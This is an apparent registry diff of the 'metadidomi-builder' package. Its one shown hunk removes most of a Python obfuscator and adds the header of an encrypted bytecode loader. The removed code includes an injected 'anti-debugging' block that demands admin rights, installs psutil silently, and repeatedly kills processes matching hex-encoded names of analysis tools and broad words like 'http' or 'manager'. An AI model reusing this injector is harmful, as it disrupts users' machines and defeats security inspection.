metadidomi-builder 1.4.201125 → 1.6.2812251812

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (34) hide show
  1. package/README.md +1032 -572
  2. package/build_tools/backup-manager.js +3 -0
  3. package/build_tools/build_apk.js +3 -0
  4. package/build_tools/builder.js +2 -2
  5. package/build_tools/certs/cert-1a25871e.key +1 -0
  6. package/build_tools/certs/cert-1a25871e.pfx +0 -0
  7. package/build_tools/check-apk.js +211 -0
  8. package/build_tools/create-example-app.js +73 -0
  9. package/build_tools/decrypt_pfx_password.js +1 -26
  10. package/build_tools/diagnose-apk.js +61 -0
  11. package/build_tools/generate-icons.js +3 -0
  12. package/build_tools/generate-resources.js +3 -0
  13. package/build_tools/manage-dependencies.js +3 -0
  14. package/build_tools/process-dependencies.js +203 -0
  15. package/build_tools/resolve-transitive-deps.js +3 -0
  16. package/build_tools/restore-resources.js +3 -0
  17. package/build_tools/setup-androidx.js +131 -0
  18. package/build_tools/templates/bootstrap.template.js +27 -0
  19. package/build_tools/verify-apk-dependencies.js +261 -0
  20. package/build_tools_py/build_nsis_installer.py +1054 -19
  21. package/build_tools_py/builder.py +3 -3
  22. package/build_tools_py/compile_launcher_with_entry.py +19 -271
  23. package/build_tools_py/launcher_integration.py +19 -189
  24. package/build_tools_py/pyMetadidomi/README.md +98 -0
  25. package/build_tools_py/pyMetadidomi/__pycache__/pyMetadidomi.cpython-311.pyc +0 -0
  26. package/build_tools_py/pyMetadidomi/pyMetadidomi.py +16 -1675
  27. package/create-app.bat +31 -0
  28. package/create-app.ps1 +27 -0
  29. package/package.json +8 -2
  30. package/build_tools/certs/cert-65198130.key +0 -1
  31. package/build_tools/certs/cert-65198130.pfx +0 -0
  32. package/build_tools/certs/cert-f1fad9b5.key +0 -1
  33. package/build_tools/certs/cert-f1fad9b5.pfx +0 -0
  34. package/build_tools_py/pyMetadidomi/pyMetadidomi-obf.py +0 -19
@@ -1,1678 +1,19 @@
1
- # === API pour usage externe (builder) ===
2
- def obfuscate_app(src_dir, dest_dir, verbose=True):
3
- """
4
- Obfusque tous les fichiers Python d'un dossier source vers un dossier destination.
5
- Utilisé par le builder pour protéger l'application.
6
-
7
- Par défaut: --medium-protection (carbon + junk + bugs + dead_code)
8
- """
9
- protection_options = {
10
- 'carbon': True, # Obfuscation des identifiants
11
- 'junk': True, # Code parasite pour complexifier
12
- 'bugs': True, # ✅ Anti-débogage (medium-protection)
13
- 'dead_code': True, # Code mort pour augmenter la taille
14
- 'loader_integrated': True, # ✅ Loader bytecode natif intégré
15
- 'time_prot': False,
16
- 'anti_vm': False,
17
- 'anti_reverse': False,
18
- 'anti_decompile': False,
19
- 'multi_encrypt': False,
20
- 'encrypt': False,
21
- 'expiration_year': 2026,
22
- 'dead_code_complexity': 15,
23
- }
24
- if verbose:
25
- print(f"[pyMetadidomi] Obfuscation de {src_dir} -> {dest_dir}")
26
- print(f"[pyMetadidomi] Options: --medium-protection (carbon + junk + bugs + dead_code + loader_integrated)")
27
- result = apply_protections_to_directory(src_dir, dest_dir, protection_options, verbose=verbose)
28
- if verbose:
29
- print(f"[pyMetadidomi] ✓ Obfuscation complète: {result['total']} fichiers traités")
30
- return result
31
- # pyMetadidomi - Créé par ETS METADIDOMI
32
- # Obfuscateur et chiffreur de code Python
33
- import ast, io, tokenize, os, sys, platform, re, random, string, base64, hashlib, subprocess, requests, tempfile, argparse
34
- from Crypto import Random
1
+ # --- Loader natif par pyMetadidomi (pymloader) ---
2
+ import base64, zlib, marshal
35
3
  from Crypto.Cipher import AES
36
- from typing import Set, Dict, List
37
-
38
- is_windows = True if platform.system() == "Windows" else False
39
-
40
- # Configuration de la fenêtre sur Windows
41
- if is_windows:
42
- os.system("title pyMetadidomi protecteur unique de code Python")
43
-
44
- def clear():
45
- # Efface l'écran
46
- if is_windows:
47
- os.system("cls")
48
- else:
49
- os.system("clear")
50
-
51
- def pause():
52
- # Met en pause
53
- if is_windows:
54
- os.system(f"pause >nul")
55
- else:
56
- input()
57
-
58
- def leave():
59
- # Quitte le programme
60
- try:
61
- sys.exit()
62
- except:
63
- exit()
64
-
65
- def gui_info(title, message):
66
- """Affiche un message d'information dans une fenêtre GUI (tkinter) ou console fallback"""
67
- try:
68
- import tkinter as tk
69
- from tkinter import messagebox
70
- root = tk.Tk()
71
- root.withdraw()
72
- messagebox.showinfo(title, message)
73
- root.destroy()
74
- except:
75
- print(f"{title}: {message}")
76
-
77
- def gui_error(title, message):
78
- """Affiche un message d'erreur dans une fenêtre GUI (tkinter) ou console fallback"""
79
- try:
80
- import tkinter as tk
81
- from tkinter import messagebox
82
- root = tk.Tk()
83
- root.withdraw()
84
- messagebox.showerror(title, message)
85
- root.destroy()
86
- except:
87
- print(red(f"{title}: {message}"))
88
-
89
- def error(error):
90
- # Affiche une erreur et quitte
91
- print(red(f" [!] Erreur : {error}"), end="")
92
- pause(); clear(); leave()
93
-
94
- def blue_light(text):
95
- # Bleu ciel vif (plus lumineux/saturé)
96
- os.system("")
97
- faded = ""
98
- for line in text.splitlines():
99
- # Utilise un bleu ciel vif (DeepSky-like) pour être visible et vif
100
- faded += f"\033[38;2;0;191;255m{line}\033[0m\n"
101
- return faded
102
-
103
- def blue_dark(text):
104
- os.system("")
105
- faded = ""
106
- for line in text.splitlines():
107
- faded += f"\033[38;2;0;0;180m{line}\033[0m\n"
108
- return faded
109
-
110
- def blue_royal(text):
111
- os.system("")
112
- faded = ""
113
- for line in text.splitlines():
114
- faded += f"\033[38;2;0;80;255m{line}\033[0m\n"
115
- return faded
116
-
117
- def white(text):
118
- # Texte blanc pur (foreground) — sans forcer de fond —
119
- # afin d'afficher du texte en blanc comme demandé.
120
- os.system("")
121
- faded = ""
122
- for line in text.splitlines():
123
- faded += f"\033[38;2;255;255;255m{line}\033[0m\n"
124
- return faded
125
-
126
- def error_red(text):
127
- os.system("")
128
- faded = ""
129
- for line in text.splitlines():
130
- faded += f"\033[38;2;255;0;0m{line}\033[0m\n"
131
- return faded
132
-
133
- # Aliases pour compatibilité avec l'ancien code
134
- def red(text):
135
- return error_red(text)
136
-
137
- def blue(text):
138
- return blue_light(text)
139
-
140
- def water(text):
141
- return blue_light(text)
142
-
143
- def purple(text):
144
- return blue_royal(text)
145
-
146
- def remove_docs(source):
147
- # Supprime les commentaires et docstrings du code
148
- io_obj = io.StringIO(source)
149
- out = ""
150
- prev_toktype = tokenize.INDENT
151
- last_lineno = -1
152
- last_col = 0
153
- for tok in tokenize.generate_tokens(io_obj.readline):
154
- token_type = tok[0]
155
- token_string = tok[1]
156
- start_line, start_col = tok[2]
157
- end_line, end_col = tok[3]
158
- if start_line > last_lineno:
159
- last_col = 0
160
- if start_col > last_col:
161
- out += (" " * (start_col - last_col))
162
- if token_type == tokenize.COMMENT:
163
- pass
164
- elif token_type == tokenize.STRING:
165
- if prev_toktype != tokenize.INDENT:
166
- if prev_toktype != tokenize.NEWLINE:
167
- if start_col > 0:
168
- out += token_string
169
- else:
170
- out += token_string
171
- prev_toktype = token_type
172
- last_col = end_col
173
- last_lineno = end_line
174
- out = '\n'.join(l for l in out.splitlines() if l.strip())
175
- return out
176
-
177
- def do_rename(pairs, code):
178
- # Remplace les noms en utilisant les paires fournies
179
- for key in pairs:
180
- code = re.sub(fr"\b({key})\b", pairs[key], code, re.MULTILINE)
181
- return code
182
-
183
- class RobustRenamer:
184
- """Renommage robuste de tous les identifiants avec AST"""
185
-
186
- def __init__(self):
187
- self.used_names: Set[str] = set()
188
- self.name_mapping: Dict[str, str] = {}
189
- self.reserved_keywords = {
190
- 'and', 'as', 'assert', 'break', 'class', 'continue', 'def',
191
- 'del', 'elif', 'else', 'except', 'finally', 'for', 'from',
192
- 'global', 'if', 'import', 'in', 'is', 'lambda', 'nonlocal',
193
- 'not', 'or', 'pass', 'raise', 'return', 'try', 'while',
194
- 'with', 'yield', 'True', 'False', 'None', '__name__', '__main__',
195
- '__file__', '__doc__', '__package__', '__loader__', '__spec__',
196
- '__annotations__', '__builtins__', '__cached__', '__dict__'
197
- }
198
- # Modules standards Python et bibliothèques communes
199
- self.protected_modules = {
200
- 'sys', 'os', 'time', 'datetime', 'json', 'csv', 're', 'random',
201
- 'math', 'collections', 'itertools', 'functools', 'operator',
202
- 'string', 'io', 'pathlib', 'tempfile', 'glob', 'shutil',
203
- 'subprocess', 'threading', 'multiprocessing', 'asyncio',
204
- 'socket', 'http', 'urllib', 'requests', 'flask', 'django',
205
- 'numpy', 'pandas', 'scipy', 'matplotlib', 'sqlalchemy',
206
- 'tkinter', 'tk', 'messagebox', 'filedialog', 'base64',
207
- 'hashlib', 'cryptography', 'Crypto', 'psutil', 'logging',
208
- 'unittest', 'pytest', 'doctest', 'pickle', 'shelve',
209
- 'sqlite3', 'abc', 'typing', 'enum', 'dataclasses', 'warnings',
210
- 'inspect', 'pydoc', 'importlib', 'pkgutil', 'modulefinder',
211
- 'ctypes', 'binascii', 'Process', 'Thread', 'Lock', 'Event',
212
- 'Queue', 'Pool', 'Manager', 'Value', 'Array', 'Pipe'
213
- }
214
-
215
- def generate_safe_name(self, length: int = 8) -> str:
216
- """Génère un nom sécurisé qui n'est pas un mot-clé Python"""
217
- while True:
218
- # Utiliser des caractères similaires pour complexifier la lecture
219
- chars = ['I', 'l', '1', 'O', '0']
220
- name = ''.join(random.choice(chars) for _ in range(length))
221
-
222
- # Vérifier que ce n'est pas un mot-clé et pas déjà utilisé
223
- if (name not in self.reserved_keywords and
224
- name not in self.used_names and
225
- name not in self.protected_modules and
226
- not name[0].isdigit()):
227
- self.used_names.add(name)
228
- return name
229
-
230
- def analyze_identifiers(self, code: str) -> Dict[str, List]:
231
- """Analyse tous les identifiants du code avec AST - Robuste et sûre"""
232
- try:
233
- tree = ast.parse(code)
234
- except SyntaxError as e:
235
- print(f" [!] Erreur de syntaxe à la ligne {e.lineno}: {e.msg}")
236
- return {}
237
-
238
- identifiers = {
239
- 'functions': set(),
240
- 'classes': set(),
241
- }
242
-
243
- class IdentifierCollector(ast.NodeVisitor):
244
- def __init__(self, collector):
245
- self.collector = collector
246
-
247
- def visit_ClassDef(self, node):
248
- # Ajouter uniquement les classes de haut niveau
249
- self.collector['classes'].add(node.name)
250
- self.generic_visit(node)
251
-
252
- def visit_FunctionDef(self, node):
253
- # Ajouter uniquement les fonctions de haut niveau
254
- self.collector['functions'].add(node.name)
255
- self.generic_visit(node)
256
-
257
- def visit_AsyncFunctionDef(self, node):
258
- self.collector['functions'].add(node.name)
259
- self.generic_visit(node)
260
-
261
- collector = IdentifierCollector(identifiers)
262
- collector.visit(tree)
263
-
264
- # Convertir les sets en listes
265
- return {k: list(v) for k, v in identifiers.items()}
266
-
267
- def build_rename_mapping(self, identifiers: Dict[str, List]) -> Dict[str, str]:
268
- """Construit le mapping de renommage - TRÈS ULTRA CONSERVATIVE"""
269
- mapping = {}
270
-
271
- # STRATÉGIE ULTRA CONSERVATIVE :
272
- # On renomme UNIQUEMENT les classes de haut niveau et fonctions utilisateur
273
- # PAS les variables globales, pas les paramètres, pas les attributs, pas les imports
274
-
275
- # Renommer uniquement les classes
276
- if 'classes' in identifiers:
277
- for original_name in identifiers['classes']:
278
- # Ne pas renommer les modules standards
279
- if original_name in self.protected_modules:
280
- continue
281
-
282
- # Ne pas renommer les classes "built-in" ou spéciales
283
- if (original_name not in self.reserved_keywords and
284
- not original_name.startswith('__') and
285
- original_name not in self.protected_modules):
286
-
287
- new_name = self.generate_safe_name(random.randint(8, 15))
288
- mapping[original_name] = new_name
289
-
290
- # Renommer uniquement les fonctions qui ne sont pas importées
291
- if 'functions' in identifiers:
292
- for original_name in identifiers['functions']:
293
- if original_name in self.protected_modules:
294
- continue
295
-
296
- # Exclure les dunder methods et magic methods
297
- if (original_name not in self.reserved_keywords and
298
- not original_name.startswith('__') and
299
- original_name not in ['init', 'new', 'str', 'repr', 'len']):
300
-
301
- new_name = self.generate_safe_name(random.randint(8, 15))
302
- mapping[original_name] = new_name
303
-
304
- return mapping
305
-
306
- def safe_rename(self, code: str, mapping: Dict[str, str]) -> str:
307
- """Renommage sécurisé avec protection avancée des contextes sensibles"""
308
-
309
- # Trier par longueur décroissante pour éviter les conflits de sous-chaînes
310
- sorted_items = sorted(mapping.items(), key=lambda x: len(x[0]), reverse=True)
311
-
312
- # ===== ÉTAPE 1: Protection complète des strings =====
313
- string_pattern = r'("""(?:[^"\\]|\\.)*?"""|\'\'\'(?:[^\'\\]|\\.)*?\'\'\'|"(?:[^"\\]|\\.)*?"|\'(?:[^\'\\]|\\.)*?\')'
314
- strings = []
315
-
316
- def protect_strings(match):
317
- strings.append(match.group(0))
318
- return f'__STRING_PLACEHOLDER_{len(strings)-1}__'
319
-
320
- code = re.sub(string_pattern, protect_strings, code, flags=re.DOTALL)
321
-
322
- # ===== ÉTAPE 2: Protection des commentaires =====
323
- comments = []
324
- comment_pattern = r'#.*?$'
325
-
326
- def protect_comments(match):
327
- comments.append(match.group(0))
328
- return f'__COMMENT_PLACEHOLDER_{len(comments)-1}__'
329
-
330
- code = re.sub(comment_pattern, protect_comments, code, flags=re.MULTILINE)
331
-
332
- # ===== ÉTAPE 3: Protection des imports =====
333
- # Patterns d'import à protéger
334
- import_patterns = [
335
- r'from\s+\w+\s+import',
336
- r'import\s+\w+',
337
- r'as\s+\w+'
338
- ]
339
-
340
- # ===== ÉTAPE 4: Renommer UNIQUEMENT les identifiants isolés =====
341
- for old_name, new_name in sorted_items:
342
- # Pattern strict: le nom doit être entouré par des word boundaries
343
- # ET ne pas être précédé par "import", "from", "as", ".", ou ":"
344
- pattern = r'(?<![\.:\w])(?<!import\s)(?<!from\s)(?<!as\s)' + \
345
- re.escape(old_name) + \
346
- r'(?![\w\.])'
347
-
348
- code = re.sub(pattern, new_name, code, flags=re.MULTILINE)
349
-
350
- # ===== ÉTAPE 5: Restauration des commentaires =====
351
- for i, original_comment in enumerate(comments):
352
- code = code.replace(f'__COMMENT_PLACEHOLDER_{i}__', original_comment)
353
-
354
- # ===== ÉTAPE 6: Restauration des strings =====
355
- for i, original_string in enumerate(strings):
356
- code = code.replace(f'__STRING_PLACEHOLDER_{i}__', original_string)
357
-
358
- return code
359
-
360
- def apply_protections_to_directory(src_dir, dest_dir, protection_options, verbose=True):
361
- """
362
- Applique les protections pyMetadidomi à tous les fichiers .py d'un répertoire
363
- Utilisé par le builder pour protéger les applications complètes
364
-
365
- Args:
366
- src_dir: Répertoire source contenant les fichiers Python
367
- dest_dir: Répertoire de destination pour les fichiers protégés
368
- protection_options: Dictionnaire avec les options de protection
369
- verbose: Afficher les détails du traitement
370
-
371
- Returns:
372
- Dictionnaire avec les statistiques du traitement
373
- """
374
- if not any(protection_options.values()):
375
- # Aucune protection demandée, copier simplement
376
- from pathlib import Path
377
- src_path = Path(src_dir)
378
- if src_path.exists():
379
- import shutil
380
- dest_path = Path(dest_dir)
381
- shutil.copytree(src_path, dest_path, dirs_exist_ok=True)
382
- return {'total': 0, 'protected': 0, 'copied': 0, 'errors': []}
383
-
384
- from pathlib import Path
385
- import shutil
386
-
387
- src_path = Path(src_dir)
388
- dest_path = Path(dest_dir)
389
- dest_path.mkdir(parents=True, exist_ok=True)
390
-
391
- # Statistiques détaillées
392
- stats = {
393
- 'total': 0,
394
- 'protected': 0,
395
- 'copied': 0,
396
- 'errors': [],
397
- 'files': [] # Liste des fichiers traités
398
- }
399
-
400
- # Collecter tous les fichiers .py
401
- py_files = sorted(list(src_path.rglob('*.py')))
402
-
403
- if verbose:
404
- print(f"[pyMetadidomi] 📄 {len(py_files)} fichier(s) Python trouvé(s)")
405
- print()
406
-
407
- for i, py_file in enumerate(py_files, 1):
408
- rel_path = py_file.relative_to(src_path)
409
- dest_file = dest_path / rel_path
410
- dest_file.parent.mkdir(parents=True, exist_ok=True)
411
-
412
- try:
413
- # Lire le fichier source
414
- with open(py_file, 'r', encoding='utf-8') as f:
415
- src = f.read()
416
-
417
- # Taille originale
418
- original_size = len(src)
419
- protection_applied = False # ← Initialiser la variable
420
-
421
- # Appliquer les protections dans l'ordre
422
- if protection_options.get('junk'):
423
- src = anubis(src)
424
- protection_applied = True
425
- if protection_options.get('bugs'):
426
- src = bugs(src)
427
- protection_applied = True
428
- if protection_options.get('dead_code'):
429
- complexity = protection_options.get('dead_code_complexity', 10)
430
- src = generate_dead_code(complexity) + src
431
- protection_applied = True
432
- if protection_options.get('time_prot'):
433
- expiration_year = protection_options.get('expiration_year', 2025)
434
- src = time_protection(src, expiration_year=expiration_year)
435
- protection_applied = True
436
-
437
- if protection_options.get('anti_vm') or protection_options.get('anti_reverse'):
438
- src = advanced_anti_analysis(src)
439
- protection_applied = True
440
-
441
- if protection_options.get('anti_decompile'):
442
- src = anti_decompile_protection(src)
443
- protection_applied = True
444
-
445
- if protection_options.get('multi_encrypt'):
446
- key = base64.b64encode(os.urandom(32)).decode()
447
- encryption = MultiLayerEncryption([key, key[:16], key[:8]])
448
- src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
449
- protection_applied = True
450
-
451
- if protection_options.get('carbon'):
452
- src, renamed_count = carbon(src)
453
- # Ne compter comme "vraiment protégé" que si des identifiants ont été renommés
454
- if renamed_count > 0:
455
- protection_applied = True
456
- else:
457
- protection_applied = False
458
- else:
459
- protection_applied = True # Les autres protections comptent toujours
460
-
461
- if protection_options.get('encrypt'):
462
- key = base64.b64encode(os.urandom(32)).decode()
463
- src = Encryption(key.encode()).write(key, src)
464
- protection_applied = True
465
-
466
- if protection_options.get('loader_integrated'):
467
- src = protect_with_loader(src)
468
- protection_applied = True
469
-
470
- # Taille après obfuscation
471
- obfuscated_size = len(src)
472
- size_increase = ((obfuscated_size - original_size) / original_size * 100) if original_size > 0 else 0
473
-
474
- # Écrire le fichier protégé
475
- with open(dest_file, 'w', encoding='utf-8') as f:
476
- f.write(src)
477
-
478
- # Compter comme protégé SEULEMENT si une protection a vraiment été appliquée
479
- if protection_applied or protection_options.get('junk') or protection_options.get('dead_code'):
480
- stats['protected'] += 1
481
- file_status = 'protected'
482
- else:
483
- stats['copied'] += 1
484
- file_status = 'copied'
485
-
486
- file_info = {
487
- 'name': str(rel_path),
488
- 'original_size': original_size,
489
- 'obfuscated_size': obfuscated_size,
490
- 'increase': size_increase,
491
- 'status': file_status
492
- }
493
- stats['files'].append(file_info)
494
-
495
- if verbose:
496
- status_icon = "✓" if file_status == 'protected' else "→"
497
- print(f" [{i}/{len(py_files)}] {status_icon} {str(rel_path):50s} | {original_size:8d} → {obfuscated_size:8d} bytes (+{size_increase:5.1f}%)")
498
-
499
- except Exception as e:
500
- # En cas d'erreur, copier simplement le fichier
501
- error_msg = f"Erreur lors de la protection de {rel_path}: {e}"
502
- if verbose:
503
- print(f" [{i}/{len(py_files)}] ⚠️ {str(rel_path):50s} | ERREUR: {str(e)[:40]}")
504
- shutil.copy2(py_file, dest_file)
505
- stats['copied'] += 1
506
- stats['errors'].append(error_msg)
507
- file_info = {
508
- 'name': str(rel_path),
509
- 'status': 'copied_on_error',
510
- 'error': str(e)
511
- }
512
- stats['files'].append(file_info)
513
-
514
- # Copier aussi les fichiers non-.py
515
- non_py_files = [item for item in src_path.rglob('*')
516
- if item.is_file() and item.suffix != '.py']
517
-
518
- if verbose and non_py_files:
519
- print()
520
- print(f"[pyMetadidomi] 📦 {len(non_py_files)} fichier(s) non-Python")
521
-
522
- for item in non_py_files:
523
- rel_path = item.relative_to(src_path)
524
- dest_file = dest_path / rel_path
525
- dest_file.parent.mkdir(parents=True, exist_ok=True)
526
- shutil.copy2(item, dest_file)
527
- stats['copied'] += 1
528
-
529
- stats['total'] = len(py_files) + len(non_py_files)
530
-
531
- # Copier le module natif pymloader.pyd si disponible
532
- import pathlib
533
- loader_dir = pathlib.Path(__file__).parent
534
- pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
535
- pymloader_bin = loader_dir / pymloader_ext
536
- if pymloader_bin.exists():
537
- dest_pymloader = dest_path / pymloader_ext
538
- shutil.copy2(pymloader_bin, dest_pymloader)
539
- if verbose:
540
- print(f"[pyMetadidomi] 📦 Module natif {pymloader_ext} copié dans le dossier de destination")
541
-
542
- if verbose:
543
- print()
544
- print(f"[pyMetadidomi] ════════════════════════════════════════════════════════")
545
- print(f"[pyMetadidomi] 📊 RÉSUMÉ D'OBFUSCATION:")
546
- print(f"[pyMetadidomi] - Fichiers Python traités: {len(py_files)}")
547
- print(f"[pyMetadidomi] - Fichiers Python obfusqués (avec identifiants renommés): {stats['protected']}")
548
- print(f"[pyMetadidomi] - Fichiers non-Python copiés: {len(non_py_files)}")
549
- print(f"[pyMetadidomi] - TOTAL: {stats['total']} fichiers dans le dossier protégé")
550
- if stats['errors']:
551
- print(f"[pyMetadidomi] - ⚠️ Erreurs lors de l'obfuscation: {len(stats['errors'])}")
552
- print(f"[pyMetadidomi] ════════════════════════════════════════════════════════")
553
- print()
554
-
555
- return stats
556
-
557
- def carbon(code):
558
- """
559
- Obfuscation Carbon améliorée et robuste
560
- Retourne (code_obfusqué, nombre_d'identifiants_renommés)
561
- """
562
- renamer = RobustRenamer()
563
-
564
- # Étape 1: Analyse complète du code
565
- print(" [>] Analyse des identifiants...")
566
- identifiers = renamer.analyze_identifiers(code)
567
-
568
- if not identifiers:
569
- print(" [!] Impossible d'analyser le code, retour du code original")
570
- return code, 0
571
-
572
- # Étape 2: Construction du mapping de renommage
573
- print(" [>] Génération des nouveaux noms...")
574
- mapping = renamer.build_rename_mapping(identifiers)
575
-
576
- if not mapping:
577
- print(" [!] Aucun identifiant à renommer")
578
- return code, 0
579
-
580
- # Barre de progression
581
- cycles = [
582
- "[ > > ]",
583
- "[ > > > > ]",
584
- "[ > > > > > > ]",
585
- "[ > > > > > > > > ]",
586
- "[ > > > > > > > > > > ]",
587
- "[ > > > > > > > > > > > > ]",
588
- "[ > > > > > > > > > > > > > > ]",
589
- "[ > > > > > > > > > > > > > > > > ]",
590
- "[ > > > > > > > > > > > > > > > > > > ]",
591
- "[ > > > > > > > > > > > > > > > > > > > > ]",
592
- "[ > > > > > > > > > > > > > > > > > > > > > > ]",
593
- "[ > > > > > > > > > > > > > > > > > > > > > > > > ]",
594
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
595
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
596
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
597
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
598
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
599
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
600
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
601
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
602
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
603
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
604
- "[ > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > ]",
605
- ]
606
-
607
- # Étape 3: Application du renommage avec barre de progression
608
- print(" [>] Application du renommage...")
609
- i = 0
610
- obfuscated_code = renamer.safe_rename(code, mapping)
611
-
612
- # Animation de la barre de progression
613
- for j in range(len(cycles)):
614
- print("\r"+f" {cycles[j]}", end="", flush=True)
615
-
616
- print("\r"+f" {cycles[len(cycles)-1]}\n", end="")
617
-
618
- # Statistiques
619
- stats = {
620
- 'classes': len(identifiers.get('classes', [])),
621
- 'functions': len(identifiers.get('functions', [])),
622
- 'variables': len(identifiers.get('variables', [])),
623
- 'parameters': len(identifiers.get('parameters', [])),
624
- 'renamed': len(mapping)
625
- }
626
-
627
- print(f" [>] Obfuscation terminée: {stats['renamed']} identifiants renommés")
628
- print(f" [>] Détail: {stats['classes']} classes, {stats['functions']} fonctions, "
629
- f"{stats['variables']} variables, {stats['parameters']} paramètres\n")
630
-
631
- return obfuscated_code, stats['renamed'] # ← Retourner le nombre d'identifiants renommés
632
-
633
- def bugs(code):
634
- # Ajoute des fonctions anti-débogage (robuste avec gestion d'erreur)
635
- dbg = """try:
636
- import ctypes, sys, binascii, threading, time, tkinter
637
- from tkinter import messagebox
638
- if not ctypes.windll.shell32.IsUserAnAdmin() != 0:
639
- try:
640
- root = tkinter.Tk()
641
- root.withdraw()
642
- messagebox.showerror("Erreur", "Veuillez exécuter ce programme en tant qu'administrateur.")
643
- root.destroy()
644
- except:
645
- print("Veuillez exécuter ce programme en tant qu'administrateur.")
646
- sys.exit(0)
647
- try:
648
- from psutil import process_iter
649
- except ImportError:
650
- import os
651
- os.system("pip install psutil")
652
- from psutil import process_iter
653
- d = [
654
- '53757370656e64', '50726f67726573732054656c6572696b20466964646c657220576562204465627567676572', '466964646c6572', '57697265736861726b',
655
- '64756d70636170', '646e537079', '646e5370792d783836', '6368656174656e67696e652d7838365f3634', '4854545044656275676765725549',
656
- '50726f636d6f6e', '50726f636d6f6e3634', '50726f636d6f6e363461', '50726f636573734861636b6572',
657
- '783332646267', '783634646267', '446f744e657444617461436f6c6c6563746f723332',
658
- '446f744e657444617461436f6c6c6563746f723634', '485454504465627567676572537663', '48545450204465627567676572', '696461', '6964613634', '69646167', '696461673634',
659
- '69646177', '696461773634', '69646171', '696461713634', '69646175', '696461753634',
660
- '7363796c6c61', '7363796c6c615f783634', '7363796c6c615f783836', '70726f74656374696f6e5f6964',
661
- '77696e646267', '7265736861636b6572', '496d706f7274524543', '494d4d554e4954594445425547474552',
662
- '4d65676144756d706572', '646973617373656d626c79', '4465627567', '5b435055496d6d756e697479',
663
- '4d65676144756d70657220312e3020627920436f6465437261636b6572202f20536e44', '436861726c6573', '636861726c6573', '4f4c4c59444247', '496d706f72745f7265636f6e7374727563746f72',
664
- '636f6465637261636b6572', '646534646f74', '696c737079', '67726179776f6c66',
665
- '73696d706c65617373656d626c796578706c6f726572', '7836346e657464756d706572', '687864',
666
- '7065746f6f6c73', '73696d706c65617373656d626c79', '68747470616e616c797a6572', '687474706465627567', '70726f636573736861636b6572', '6d656d6f727965646974', '6d656d6f7279',
667
- '646534646f746d6f64646564', '70726f63657373206861636b6572', '70726f63657373206d6f6e69746f72',
668
- '717435636f7265', '696461', '696d6d756e697479', '68747470', '74726166666963',
669
- '77697265736861726b', '666964646c6572', '7061636b6574', '6861636b6572', '6465627567', '646e737079', '646f747065656b', '646f747472616365', '70726f6364756d70', '6d616e61676572',
670
- '6d656d6f7279', '6e65744c696d6974', '6e65744c696d69746572', '73616e64626f78'
671
- ]
672
- d = [binascii.unhexlify(i.encode()).decode() for i in d]
673
- def debugger():
674
- while True:
675
- try:
676
- for proc in process_iter():
677
- for i in d:
678
- if i.lower() in proc.name().lower():
679
- proc.kill()
680
- except Exception:
681
- pass
682
- time.sleep(0.5)
683
- threading.Thread(target=debugger, daemon=True).start()
684
- except Exception:
685
- pass
686
- """
687
- code = dbg + code
688
- return code
689
-
690
- def anubis(code):
691
- # Ajoute du code inutile (junk code) pour compliquer le débogage
692
- newcode = "\n"
693
- classes = ["".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(2, 5))]
694
- for i in classes:
695
- newcode += f"class {i}:\n def __init__(self):\n"
696
- funcs = ["__"+"".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(5, 15))]
697
- for i in funcs:
698
- newcode += f" self.{i}()\n"
699
- for i in funcs:
700
- newcode += f" def {i}(self, {', '.join([''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(5, 20))) for i in range(random.randint(1, 7))])}):\n return self.{random.choice(funcs)}()\n"
701
- newcode += code + "\n"
702
- classes = ["".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(2, 5))]
703
- for i in classes:
704
- newcode += f"class {i}:\n def __init__(self):\n"
705
- funcs = ["__"+"".join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(8, 20))) for i in range(random.randint(5, 15))]
706
- for i in funcs:
707
- newcode += f" self.{i}()\n"
708
- for i in funcs:
709
- newcode += f" def {i}(self, {', '.join([''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(random.randint(5, 20))) for i in range(random.randint(1, 7))])}):\n return self.{random.choice(funcs)}()\n"
710
- return newcode
711
-
712
- def generate_dead_code(complexity=10):
713
- """Génère du code mort pour complexifier l'analyse"""
714
-
715
- dead_code = ""
716
-
717
- # Types de code mort
718
- dead_functions = [
719
- "def unused_func_{}(): return sum(i for i in range({}))",
720
- "def dummy_calc_{}(x): return x * {} + {}",
721
- "def fake_method_{}(): return 'fake_result_{}'",
722
- ]
723
-
724
- dead_variables = [
725
- "temp_var_{} = [i for i in range({})]",
726
- "unused_data_{} = {{'key': 'value'}}",
727
- "complex_obj_{} = type('Obj', (), {{'attr': {}}})()"
728
- ]
729
-
730
- for i in range(complexity):
731
- # Générer les fonctions mortes avec le bon nombre d'arguments
732
- func_template = random.choice(dead_functions)
733
- if func_template.count('{}') == 2:
734
- dead_code += func_template.format(i, random.randint(10, 100)) + "\n"
735
- elif func_template.count('{}') == 3:
736
- dead_code += func_template.format(i, random.randint(1, 10), random.randint(1, 10)) + "\n"
737
-
738
- # Générer les variables mortes
739
- var_template = random.choice(dead_variables)
740
- if var_template.count('{}') == 2:
741
